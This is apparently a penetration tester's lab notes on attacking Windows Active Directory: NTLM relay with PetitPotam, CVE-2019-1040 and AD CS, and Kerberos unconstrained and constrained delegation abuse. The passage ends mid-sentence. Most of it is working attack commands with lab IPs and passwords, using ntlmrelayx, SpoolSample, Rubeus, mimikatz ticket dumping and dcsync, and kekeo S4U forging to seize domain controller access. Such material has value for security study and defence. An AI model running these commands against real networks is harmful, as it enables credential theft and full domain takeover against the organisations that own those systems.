running Get-Service RpcSs Get-Service EFS Attacker host requirements: - Impacket toolkit - ntlmrelayx.py - Network access to the target Target host: - LDAP is enabled (enabled by default on a DC) - Certificate Services (when relaying to AD CS) 1 2 3 4 5 6 7 8 Commands: # Start the relay python ntlmrelayx.py -t ldap://DC-IP --escalate-user USERNAME --no-smb-server python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server # Trigger authentication python PetitPotam.py -d domain -u user -p pass ATTACKER_IP DC-IP python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110 (4) Relay LDAP (NTLM Relay) https://www.freebuf.com/articles/network/368583.html\nRelay LDAP (NTLM relay) mainly uses CVE-2019-1040 to bypass LDAP signing.\nThe second and third methods trigger authentication; this one uses a vulnerability to create the relay.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 - Bypasses LDAP signing - Allows relaying to LDAP/LDAPS - Works even when signing protection is enabled Affected versions Windwos 7 SP 1 through Windows 10 1903; Windows Server 2008 through Windows Server 2019 # Start the relay python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic # Or use the full options for the vulnerability python ntlmrelayx.py -t ldap://DC-IP --escalate-user TARGET_USER --remove-mic --no-smb-server --no-http-server --remove-mic: Exploit CVE-2019-1040 to bypass signing --escalate-user: Specify the user to escalate -t ldap://DC-IP: Specify the target DC (5) Relay AD CS/PKI (NTLM Relay) https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/\nThe target needs to have Active Directory Certificate Services configured.\nURLs:\nhttp://CA-SERVER/certsrv or https://CA-SERVER/certsrv I couldn\u0026rsquo;t get the lab working, so I\u0026rsquo;ll just record the method here.\n1 2 3 4 5 6 7 8 9 10 11 # Basic syntax python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs # Additional options python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -t http://CA-SERVER: Certificate server web address --adcs: Specify an AD CS attack --template: Specify the certificate template (optional) 1 2 3 # https://github.com/topotam/PetitPotam PetitPotam.exe 172.16.79.1 172.16.79.2 Ntlmrelay running on Darwin will generate a CSR (Certificate Signing Request) and try to abuse a vulnerable PKI template to create a certificate:\nIf it succeeds, ntlmrelayx will receive:\n[+] Base64 certificate of user 2012DC$: MI\u0026hellip; (a long string of Base64-encoded certificate data)\nNext, we use what we obtained.\n1 Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI... This gets us a TGT, after which we can use DCSync to obtain the DA NTLM Hash.\nAutomation Tools RelayX bundles several useful relay techniques together, making testing more efficient:\n1 python relayx.py live.local/002:\u0026#39;LIVE@2021\u0026#39;@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController ADCSPwn essentially automates the attacks covered above. https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn\nADCSPwn is written in C#. Once compiled, it can conveniently be loaded into memory and run through execute-assembly. It uses PetitPotam to relay NTLM to AD CS and request a machine-account certificate. ADCSPwn also requires the WebClient service to be enabled on the remote machine that is triggered to authenticate. It is not installed by default and must be enabled manually; see How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files.\nWhen requesting a CA certificate, ADCSPwn cycles through every certificate template and attempts a request. Ordinary domain member machines use the Machine certificate template, while DCs use DomainController. To determine whether a template is usable, ADCSPwn looks for “Certificate Request Denied” in the response. In a Simplified Chinese environment, the response uses the localized certificate-request-denied message instead. To support multilingual environments, change \u0026ldquo;Certificate Request Denied\u0026rdquo; in line 382 of ADCSPwn/RelayServer.cs, in if (responseFromServer.Contains(\u0026ldquo;Certificate Request Denied\u0026rdquo;)), to \u0026ldquo;locDenied\u0026rdquo;, which is the HTML element ID on the certificate-request-denied response page. This issue was fixed in https://github.com/bats3c/ADCSPwn/pull/5 (pull request).\n1 ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001 After obtaining the 2012dc$ machine-account certificate, continue the attack with Rubeus.\nInternal Port 445 PortBender https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0\nFor example, we may want to run PortBender in redirector mode so that we can launch an SMB relay attack from a compromised Windows system. We can tell PortBender to redirect all traffic bound for 445/TCP to the alternate port 8445/TCP, where the attacker\u0026rsquo;s SMB service is listening. In this example, we run “PortBender redirect 445 8445” to do that.\n1 2 3 4 # Run the C# file directly PortBender redirect 445 8445 It only includes a CNA plugin, not an EXE; packaging it manually may also work (6) Additional Technique Trigger authentication through antivirus software.\n1 2 cd \u0026#34;\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.18.2010.7-0\u0026#34; .\\MpCmdRun.exe -Scan -ScanType 3 -File \\\\ip\\file.exe 4. Kerberos Delegation Attacks Reference: https://xz.aliyun.com/t/7217\nBackground Domain delegation means delegating a domain user\u0026rsquo;s privileges to a service account, allowing that service account to act in the domain with the user\u0026rsquo;s privileges.\nThe two main forms are unconstrained delegation (Unconstrained delegation) and constrained delegation (Constrained delegation). There is also resource-based constrained delegation (Resource Based Constrained Delegation), but that is not the focus here. Let\u0026rsquo;s look at how unconstrained and constrained delegation can each be exploited.\nFinding Delegated Users and Computers in the Domain How It Works When a service account or host is configured for unconstrained delegation, its userAccountControl attribute contains TRUSTED_FOR_DELEGATION When a service account or host is configured for constrained delegation, its userAccountControl attribute contains TRUSTED_TO_AUTH_FOR_DELEGATION, and its msDS-AllowedToDelegateTo attribute contains the constrained services The usual way to find delegated users or computers in a domain is to query over LDAP (short for LightweightDirectory Access Protocol) and filter matching users or computers by the userAccountControl attribute. We can use ADSI (short for ActiveDirectory Service Interfaces Editor) to edit and modify LDAP. Run adsiedit.msc to open the ADSI editor, then locate a user configured for unconstrained delegation. Its userAccountControl attribute will contain TRUSTED_FOR_DELEGATION.\nLab Setup (Skip This) You can skip this section. It mainly configures two types of accounts. An unconstrained delegation account requires a domain-joined host and must be configured on that host.\nIf you have a host in the domain, configure the unconstrained delegation account and then follow the steps below to set up IIS for testing. I did not test this; using a machine account directly also works.\n1 2 3 4 5 6 7 8 9 10 11 12 Step 1: Confirm the hostname - Run hostname on the target host to confirm its hostname - Ensure the hostname matches the one configured in the SPN Step 2: Install IIS - Install IIS on the target host Install-WindowsFeature -Name Web-Server -IncludeManagementTools Step 3: Configure the service account - Open IIS Manager (inetmgr) - Locate DefaultAppPool or create an application pool - Configure its identity as the domain account (test\\svc_iis) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 First IIS service account # CN stands for Common Name and identifies a location in Active Directory # For example, CN=Users,DC=domain,DC=com refers to the domain\u0026#39;s Users container New-ADUser -Name \u0026#34;svc_iis\u0026#34; ` -SamAccountName \u0026#34;svc_iis\u0026#34; ` -UserPrincipalName \u0026#34;svc_iis@test.local\u0026#34; ` -Path \u0026#34;CN=Users,DC=test,DC=local\u0026#34; ` -AccountPassword (ConvertTo-SecureString \u0026#34;Password123!\u0026#34; -AsPlainText -Force) ` -Enabled $true ` -PasswordNeverExpires $true ` -ServicePrincipalNames \u0026#34;HTTP/webserver.test.local\u0026#34;,\u0026#34;HTTP/webserver\u0026#34; ` -Description \u0026#34;IIS Service Account\u0026#34; # Add the required group memberships to the account Add-ADGroupMember -Identity \u0026#34;Server Operators\u0026#34; -Members \u0026#34;svc_iis\u0026#34; # Set the SPN setspn -A HTTP/webserver.domain.com svc_iis setspn -A HTTP/webserver svc_iis # Verify user creation Get-ADUser svc_iis -Properties * # Verify the SPN configuration setspn -L svc_iis ======================================================================================== Second SharePoint service account New-ADUser ` -Name \u0026#34;svc_sharepoint\u0026#34; ` -SamAccountName \u0026#34;svc_sharepoint\u0026#34; ` -UserPrincipalName \u0026#34;svc_sharepoint@test.local\u0026#34; ` -Path \u0026#34;CN=Users,DC=test,DC=local\u0026#34; ` -AccountPassword (ConvertTo-SecureString \u0026#34;Password123!\u0026#34; -AsPlainText -Force) ` -Enabled $true ` -PasswordNeverExpires $true ` -ServicePrincipalNames \u0026#34;HTTP/sharepoint.test.local\u0026#34; ` -Description \u0026#34;SharePoint Service Account\u0026#34; # Add the required group memberships to the account Add-ADGroupMember -Identity \u0026#34;Server Operators\u0026#34; -Members \u0026#34;svc_sharepoint\u0026#34; # Set the SPN setspn -A HTTP/webserver.domain.com svc_sharepoint setspn -A HTTP/webserver svc_sharepoint # Verify user creation Get-ADUser svc_sharepoint -Properties * # Verify the SPN configuration setspn -L svc_sharepoint ====================================================================================== IIS # View the current service account Get-ADUser svc_iis -Properties * # Configure unconstrained delegation Set-ADUser -Identity \u0026#34;svc_iis\u0026#34; -TrustedForDelegation $true # Verify the configuration Get-ADUser svc_iis -Properties userAccountControl # The userAccountControl attribute should include TRUSTED_FOR_DELEGATION (524288) ====================================================================================== sharepoint # As an example, allow it to delegate to the CIFS service Set-ADAccountControl -Identity \u0026#34;svc_sharepoint\u0026#34; -TrustedToAuthForDelegation $true Set-ADUser -Identity \u0026#34;svc_sharepoint\u0026#34; -Add @{\u0026#39;msDS-AllowedToDelegateTo\u0026#39;=@(\u0026#39;CIFS/test.local\u0026#39;)} # Verify the configuration Get-ADUser svc_sharepoint -Properties \u0026#34;msDS-AllowedToDelegateTo\u0026#34; ====================================================================================== # Find all accounts configured for unconstrained delegation Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation # Find all accounts configured for constrained delegation Get-ADObject -Filter {msDS-AllowedToDelegateTo -like \u0026#34;*\u0026#34;} -Properties msDS-AllowedToDelegateTo Finding Unconstrained Delegation ldapsearch This comes with Kali and is useful for queries from outside the domain.\nThere are too many arguments to list one by one. Run ldapsearch -h whenever you need to look them up.\nFind users configured for unconstrained delegation in the domain:\n1 ldapsearch -x -H ldap://192.168.141.145:389 -D \u0026#34;CN=qiyou,CN=Users,DC=qiyou,DC=com\u0026#34; -w password -b \u0026#34;DC=qiyou,DC=com\u0026#34; \u0026#34;(\u0026amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; |grep -iE \u0026#34;distinguishedName\u0026#34; An ordinary domain member account is enough to query this.\nFind hosts configured for unconstrained delegation in the domain:\n1 ldapsearch -x -H ldap://192.168.0.110:389 -D \u0026#34;CN=TestUser,CN=Users,DC=test,DC=local\u0026#34; -w \u0026#34;Password123\\!\u0026#34; -b \u0026#34;DC=test,DC=local\u0026#34; \u0026#34;(\u0026amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; |grep -iE \u0026#34;distinguishedName\u0026#34; For convenience, you can simply change 805306368 to 805306369.\nNote: For more LDAP filter syntax, see the Microsoft manual: link\nADFind Syntax:\n1 AdFind [switches] [-b basedn] [-f filter] [attr list] Arguments:\n-b: specifies the root node to query -f: LDAP filter condition attr list: attributes to display https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools\n1. Find users configured for unconstrained delegation (from inside the domain):\n1 AdFind.exe -b \u0026#34;DC=test,DC=local\u0026#34; -f \u0026#34;(\u0026amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; cn distinguishedName For convenience, I ran it on the domain controller.\n2. Find users configured for unconstrained delegation (from outside the domain):\n1 AdFind.exe -h 192.168.0.110 -u test.local\\TestUser -up \u0026#34;Password123!\u0026#34; -f \u0026#34;(\u0026amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; cn distinguishedName The author of the blog I used as a reference did not test this, but the GitHub repository linked above has the exact method.\n3. Find hosts configured for unconstrained delegation:\n1 2 3 4 # Inside the domain AdFind.exe -b \u0026#34;DC=test,DC=local\u0026#34; -f \u0026#34;(\u0026amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; cn distinguishedName # Outside the domain AdFind.exe -h 192.168.0.110 -u test.local\\TestUser -up \u0026#34;Password123!\u0026#34; -f \u0026#34;(\u0026amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; cn distinguishedName PowerView https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1\nFind users configured for constrained delegation.\n1 2 Import-Module .\\PowerView.ps1 Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl I couldn\u0026rsquo;t find an argument for username-and-password authentication.\nhttps://blog.csdn.net/qq_41874930/article/details/109616189\nhttps://www.cnblogs.com/-zhong/p/12374568.html\nhttps://www.freebuf.com/sectool/173366.html\nThese three pages introduce the module.\nFind hosts configured for constrained delegation:\n1 2 3 Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize Get-DomainComputer -Unconstrained Get-DomainComputer -LDAPFilter \u0026#34;(userAccountControl:1.2.840.113556.1.4.803:=524288)\u0026#34; The output looks roughly like this:\n1 2 3 4 5 6 7 8 distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local # This is the domain controller path useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION # This indicates that the host is configured for unconstrained delegation dnshostname : WindowsServerAD.test.local # This is the host\u0026#39;s DNS name Exploiting Unconstrained Delegation Overview\nWith unconstrained delegation enabled on service1\u0026rsquo;s service account, the user\u0026rsquo;s TGT is sent to service1 and cached in memory. service1 can then reuse that TGT to access any domain service the user is authorized to access.\nThe unconstrained delegation request flow (diagram from the Microsoft manual):\nThe Kerberos request shown above breaks down into these steps:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 1. The user sends a `KRB_AS_REQ` message to the `KDC` to request a forwardable `TGT1`. 2. The KDC returns `TGT1` in a `KRB_AS_REP` message. 3. The user uses the TGT1 from step 2 to request a forwarded TGT2. 4. The KDC returns TGT2 for the user in a KRB_TGS_REP message. 5. The user uses the TGT1 returned in step 2 to request an ST (Service Ticket) for Service1 from the KDC. 6. The TGS returns the ST for service1 to the user in a KRB_TGS_REP message. 7. The user sends a KRB_AP_REQ message to request Service1. The message contains TGT1, the ST for Service1, TGT2, and the SessionKey for TGT2. 8. service1 sends the user\u0026#39;s TGT2 to the KDC in a KRB_TGS_REQ message to request an ST for service2 on the user\u0026#39;s behalf. 9. In a KRB_TGS_REP message, the KDC returns the ST for service2 to service1 along with a session key that service1 can use. The ST identifies the client as the user, not service1. 10. service1 sends a KRB_AP_REQ to service2 on the user\u0026#39;s behalf. 11. service2 responds to service1\u0026#39;s request. 12. With this response, service1 can respond to the user\u0026#39;s request from step 7. 13. The TGT forwarding delegation mechanism does not restrict which service service1 can use TGT2 for, so service1 can request a ticket for any other service from the KDC on the user\u0026#39;s behalf. 14. The KDC returns the ST requested in step 13. 15-16. service1 requests other services on the user\u0026#39;s behalf. Note: TGT1（forwardable TGT） is used to access Service1, while TGT2（forwarded TGT） is used to access Service2.\nEnvironment:\nDomain: test.local Domain controller: windows server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator Domain-joined host: windows 10, hostname: win10, IP: 192.168.0.104, user: jerry As mentioned above, unconstrained delegation is generally configured on service accounts or machine accounts. Setting up an environment and creating a service account is a bit of a hassle, so using a machine account is easier here.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 1. Configure on the domain controller (Domain Admin privileges required): PowerShell commands: # Configure the WIN10 machine account for unconstrained delegation Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true 2. Verify the configuration: # Check the host\u0026#39;s delegation configuration Get-ADComputer WIN10 -Properties userAccountControl # Or use PowerView to find all hosts with unconstrained delegation Get-DomainComputer -Unconstrained # Or use an LDAP query Get-DomainObject -LDAPFilter \u0026#34;(\u0026amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))\u0026#34; With that configured, we can get ready to make the domain administrator trigger authentication.\nP.S. I have already elevated to administrator on this win10 machine, so I can host plenty of things locally, such as IIS or MYSQL. The account currently in use also has unconstrained delegation rights. At this point, I can set up whichever service I want—IIS, MYSQL, and so on—and wait for the domain administrator to access it.\nConfigure the WINRM service on win10.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Run the following commands on WIN10: # 1. Configure WinRM quickly (run as administrator) winrm quickconfig -q # 2. Allow HTTP transport winrm set winrm/config/service @{EnableCompatibilityHttpListener=\u0026#34;true\u0026#34;} # 3. Configure the allowed authentication methods winrm set winrm/config/service/auth @{Basic=\u0026#34;true\u0026#34;} winrm set winrm/config/service/auth @{Kerberos=\u0026#34;true\u0026#34;} # 4. Configure the firewall rule (if not already enabled) Enable-PSRemoting -Force # 5. Confirm that the WinRM service is running Get-Service WinRM # 6. Check the WinRM listener winrm enumerate listener 1 2 3 4 5 6 7 # Run on the domain controller # Method 1: Enter-PSSession Enter-PSSession -ComputerName WIN10 # Method 2: WinRM winrm quickconfig # Ensure the WinRM service is enabled Test-WSMan -ComputerName WIN10 # Test the connection At this point, the domain administrator\u0026rsquo;s TGT is cached on win10, and we can dump it with mimikatz.\n1 2 privilege::debug sekurlsa::tickets /export Then use ptt to inject the TGT into the current session.\n1 2 kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi dir \\\\WindowsServerAD.test.local\\c$ I couldn\u0026rsquo;t get the method between the horizontal rules to work. It kept failing, and I still don\u0026rsquo;t know why. The error said that the system could not contact a domain controller to service the authentication request and to try again later. So it looks like I can\u0026rsquo;t use mimikatz here.\nRubeus This worked fine for me.\nProject: https://github.com/GhostPack/Rubeus/releases/tag/1.6.4\nYou need to compile it yourself. Install vs, open the sln file, and build the solution.\nI compiled it already. The commands below are the smoothest workflow I found.\n1 2 3 4 # Export the obtained ticket to ticket.txt Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap \u0026gt;\u0026gt; ticket.txt # If successful, the text file will contain Base64-encoded data; import the ticket directly Rubeus.exe ptt /ticket:[BASE64_ENCODED_TICKET] Here is why I did not use the other commands. This is only for reference; there is no need to test it.\n1 2 3 4 # This is supposed to import the ticket directly, but it did not work Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt Rubeus.exe monitor /interval:1 /targetuser:administrator # In practice, the two commands above behaved the same; /ptt did not appear to work We actually have the Base64-encoded ticket now, but copying it is painful because all the spaces and line breaks need to be removed. Saving it to a file is much easier.\nThis is very easy to copy. That is why the working command above writes it to a file before copying it.\n1 2 3 4 5 6 # Next, write the Base64 data to admin.kirbi # Import it with Mimikatz mimikatz.exe kerberos::purge # Clear existing tickets kerberos::ptt admin.kirbi # Import the new ticket # Unfortunately, the import failed immediately with an error So the working flow I gave at the start is probably the best option. Maybe my windows server 2022 version is too new, or perhaps my mimikatz version is too old. Either way, at least there is one method that works.\n1 Enter-PSSession -ComputerName WindowsServerAD We still use the WinRM service to connect back to the domain controller.\nUnconstrained Delegation + the Spooler Service After reading through this, it feels a bit like NTLM relay, though it is not quite the same. At least both techniques use the spooler service to trigger authentication.\nPlain unconstrained delegation requires an administrator to connect voluntarily, which makes it rather awkward to use in a real engagement.\nCombining unconstrained delegation with the Spooler service lets us force a specified host to connect. This scenario was presented by tifkin_, enigma0x3, and harmj0y at DerbyCon 2018.\nPresentation slides: link\nHow it works: it abuses an old but enabled-by-default method in the Windows Print System Remote Protocol （MS-RPRN）. A domain user can call the MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex） method to force any computer running the Spooler service to authenticate over Kerberos or NTLM to a target chosen by the attacker.\nThe request flow looks like this:\nImage source: http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/\nNote: The Print Spooler service runs automatically by default.\nThe prerequisite is access to a domain-joined machine whose machine account has unconstrained delegation enabled.\nMy environment is unchanged from the one above.\ntifkin_ open-sourced the POC on GitHub: https://github.com/leechristensen/SpoolSample\nI tried compiling it several times without success. It seems to be a small PowerShell issue.\nI could not solve that for now, but I found a project with precompiled binaries.\nhttps://github.com/jtmpu/PrecompiledBinaries\nRun it in the virtual machine.\n1 2 3 4 5 # Specify the domain controller and local host; any names will work if DNS resolves them SpoolSample.exe WindowsServerAD WIN10 SpoolSample.exe WindowsServerAD.test.local WIN10.test.local # Start monitoring for tickets; the command above monitors the user, while this one monitors the domain controller Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$ It worked. I won\u0026rsquo;t reconnect to the domain controller here because the process is identical to the one above, and I still cannot use mimikatz. I\u0026rsquo;ll leave it at that.\nExploiting Constrained Delegation Overview Because unconstrained delegation is insecure, Microsoft introduced constrained delegation in windows server 2003, extending the Kerberos protocol with S4U. S4U supports two subprotocols: Service for User to Self (S4U2Self) and Service for User to Proxy (S4U2proxy). Both extensions let a service request tickets from the KDC on behalf of a user. S4U2self can request a Kerberos service ticket (ST) to itself on its own behalf, while S4U2proxy can request an ST to another service on behalf of a user. Constrained delegation limits the scope of the S4U2proxy extension.\nThe S4U2Self and S4U2proxy request flow (diagram from the Microsoft manual):\nNote: Steps 1–4 show the S4U2Self request flow, while steps 5–10 show the S4U2proxy request flow.\nHere is the request flow in words:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1. The user sends a request to service1. The user is authenticated, but service1 does not have the user\u0026#39;s authorization data. This usually occurs when authentication uses a method other than Kerberos. 2. The S4U2self extension requests ST1 from the KDC for access to service1 on the user\u0026#39;s behalf. 3. The KDC returns ST1 to Service1 for the user to authenticate to Service1. ST1 may contain the user\u0026#39;s authorization data. 4. service1 can use the authorization data in the ST to fulfill the user\u0026#39;s request and then respond to the user. Note: Although S4U2self provides service1 with information about the user, it does not allow service1 to request other services on the user\u0026#39;s behalf. This is where S4U2proxy is used. 5. The user sends a request to service1, which needs to access a resource on service2 as the user. 6. service1 requests ST2 from the KDC for the user to access service2. 7. If the request contains a PAC, the KDC validates it by checking its signature data. If the PAC is valid or absent, the KDC returns ST2 to service1, but the client identity stored in ST2\u0026#39;s cname and crealm fields is the user, not service1. 8. service1 uses ST2 to send a request to service2 on the user\u0026#39;s behalf, indicating that the KDC authenticated the user. 9. service2 responds to the request from step 8. 10. service1 responds to the user\u0026#39;s request from step 5. Procedure Environment:\nDomain: test.local Domain controller: windows server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator Domain-joined host: windows 10, hostname: win10, IP: 192.168.0.104, user: jerry Create a service account:\nI already covered this above, but exploiting it there was a bit of a hassle, so I skipped it. I\u0026rsquo;ll include it again here.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Second SharePoint service account New-ADUser ` -Name \u0026#34;svc_sharepoint\u0026#34; ` -SamAccountName \u0026#34;svc_sharepoint\u0026#34; ` -UserPrincipalName \u0026#34;svc_sharepoint@test.local\u0026#34; ` -Path \u0026#34;CN=Users,DC=test,DC=local\u0026#34; ` -AccountPassword (ConvertTo-SecureString \u0026#34;Password123!\u0026#34; -AsPlainText -Force) ` -Enabled $true ` -PasswordNeverExpires $true ` -ServicePrincipalNames \u0026#34;HTTP/sharepoint.test.local\u0026#34; ` -Description \u0026#34;SharePoint Service Account\u0026#34; # Add the required group memberships to the account Add-ADGroupMember -Identity \u0026#34;Server Operators\u0026#34; -Members \u0026#34;svc_sharepoint\u0026#34; # Set the SPN setspn -A HTTP/webserver.domain.com svc_sharepoint setspn -A HTTP/webserver svc_sharepoint # Verify user creation Get-ADUser svc_sharepoint -Properties * # Verify the SPN configuration setspn -L svc_sharepoint # As an example, allow it to delegate to the CIFS service Set-ADAccountControl -Identity \u0026#34;svc_sharepoint\u0026#34; -TrustedToAuthForDelegation $true Set-ADUser -Identity \u0026#34;svc_sharepoint\u0026#34; -Add @{ \u0026#39;msDS-AllowedToDelegateTo\u0026#39;=@( \u0026#39;CIFS/WindowsServerAD.test.local\u0026#39;, \u0026#39;CIFS/WindowsServerAD\u0026#39; ) } # Verify the configuration Get-ADUser svc_sharepoint -Properties \u0026#34;msDS-AllowedToDelegateTo\u0026#34; # Find all accounts configured for constrained delegation Get-ADObject -Filter {msDS-AllowedToDelegateTo -like \u0026#34;*\u0026#34;} -Properties msDS-AllowedToDelegateTo Account: svc_sharepoint; password: Password123!\nAs covered in the overview, under constrained delegation a service user can only obtain an ST for a particular user\u0026rsquo;s (or host\u0026rsquo;s) service. It can therefore impersonate that user only when accessing a specific service, and cannot obtain the user\u0026rsquo;s TGT. If we obtain the plaintext password or NTLM Hash of a service user configured for constrained delegation, we can forge an S4U request and impersonate the service user to request an ST for a service with the privileges of any account.\nIf we know the service user\u0026rsquo;s plaintext password, we can request that user\u0026rsquo;s TGT with kekeo.\nhttps://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214\n1 2 tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123! tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d This gives us the service user\u0026rsquo;s TGT.\nWe can then use this TGT to forge an s4u request and, as the administrator user, request an ST to the domain controller\u0026rsquo;s CIFS service.\nWe obtained two TGS tickets.\nUse mimikatz to import the cifs ticket.\n1 2 3 4 # Clear existing tickets klist purge klist kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi Success. Everything works here. The ticket obtained in the unconstrained delegation section may genuinely have had a problem. I still do not know exactly what went wrong, but at least the ticket obtained with kokeo can be imported and used for authentication.\nIf we do not know the service user\u0026rsquo;s plaintext password or NTLM Hash, but we do have access to the host where that service user is logged in (with local administrator privileges), we can use mimikatz to dump the service user\u0026rsquo;s TGT directly from memory.\n1 mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::tickets /export\u0026#34; exit Note: sekurlsa::tickets lists and exports Kerberos tickets from every session. sekurlsa::tickets differs from kerberos::list: sekurlsa reads from memory—specifically, from the lsass process—which is why sekurlsa::tickets /export requires administrator privileges. Its exports are not restricted by keys, and sekurlsa::tickets can access tickets from other sessions (users).\nLet\u0026rsquo;s try exporting them this way and see whether the import still fails as it did before.\n1 2 # Log the service account on locally once to generate a ticket; run the command below and enter the password to simulate a logon runas /user:test\\svc_sharepoint cmd.exe mimikatz exported the ticket successfully. This is the service account we created.\nBut exploitation still failed.\n1 tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local But we still have Rubeus.\n1 2 3 4 5 6 The remaining process is the same: read the data, write it locally, and then access the domain controller The drawback is that the service account\u0026#39;s session must remain connected after logon to obtain the ticket Keep the Mimikatz method in mind; try Mimikatz first and use this method if it fails # Open a command prompt with runas and leave it open runas /user:test\\svc_sharepoint cmd.exe Rubeus.exe dump /service:krbtgt /user:svc_sharepoint The window on the right is the svc_sharepoint cmd. Once it closes, everything is gone.\n1 2 3 # Save it locally with this command for easier copying Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap \u0026gt;\u0026gt; ticket.txt Rubeus.exe ptt /ticket:[base64] dir \\WindowsServerAD.test.local\\c$\nGetting Domain Controller Access with Unconstrained and Constrained Delegation Getting a shell with unconstrained delegation is simple:\n1 2 3 # After importing the Administrator ticket, access is effectively equivalent to Domain Admin; test each option when validating Enter-PSSession -ComputerName WindowsServerAD lsadump::dcsync /domain:test.local /all /csv Getting a shell with constrained delegation\nWe know that TGTs are encrypted and signed by the krbtgt user. If we can delegate a domain user to access TGS, we can forge a TGT for any user. Ordinarily, a golden ticket is forged using the krbtgt hash, but constrained delegation can achieve the same result.\nNote: The default spn for TGS is krbtgt/domain name; in our environment, it is krbtgt/test.local.\nkrbtgt is disabled by default and cannot be enabled, so we cannot use the GUI to add this SPN.\nWe can add it with powershell.\nLet me explain what the original author meant above. Our service account—the constrained delegation account—does not have krbtgt privileges by default; those privileges are disabled. But to use a golden ticket, I need krbtgt. This service account already has cifs privileges from our earlier configuration. I cannot delegate krbtgt to this service account in my environment, so below I will only paste the original author\u0026rsquo;s successful method, then use cifs to take over the domain controller myself. The original author\u0026rsquo;s method is separated by horizontal rules. 1 2 3 Import-Module ActiveDirectory $user = Get-ADUser svc_sharepoint Set-ADObject $user -Add @{ \u0026#34;msDS-AllowedToDelegateTo\u0026#34; = @(\u0026#34;krbtgt/test.local\u0026#34;) } Note: ActiveDirectory is installed on domain controllers by default. If it is missing, download the dll from this link, then import it with import-module .\\Microsoft.ActiveDirectory.Management.dll.\nI linked PowerView.ps1 above, but here it is again.\nhttps://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1\n1 2 3 Import-Module .\\PowerView.ps1 Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,\u0026#34;msds-allowedtodelegateto\u0026#34; | Format-List We can use the impacket 